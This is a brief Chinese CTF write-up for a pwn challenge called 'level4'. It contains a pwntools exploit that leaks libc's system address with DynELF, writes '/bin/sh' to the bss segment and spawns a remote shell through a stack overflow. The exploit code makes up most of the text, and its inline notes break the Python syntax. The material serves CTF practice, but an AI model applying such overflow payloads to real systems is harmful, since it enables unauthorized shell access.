先简单看一下代码
很容易发现这是一个栈溢出,此题考虑使用DynELF来获取system函数的位置,然后使用read将’bin/sh’写入bss段之中,最后通过栈溢出进行调用。exp如下。
#!/usr/bin/env python
from pwn import *
elf = ELF('./level4')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x0804844b
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = remote('pwn2.jarvisoj.com',9880)
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc') 此处查找system函数的位置
print "system_addr=" + hex(system_addr)
bssadr=elf.symbols['__bss_start']
pppr = 0x08048509 这是三个pop和一个ret的位置
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bssadr) + p32(8)
payload2 += p32(system_addr) + p32(32) + p32(bssadr) 注意在调用了read函数之后,
由于read函数有三个参数,需要三个pop进行栈平衡
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()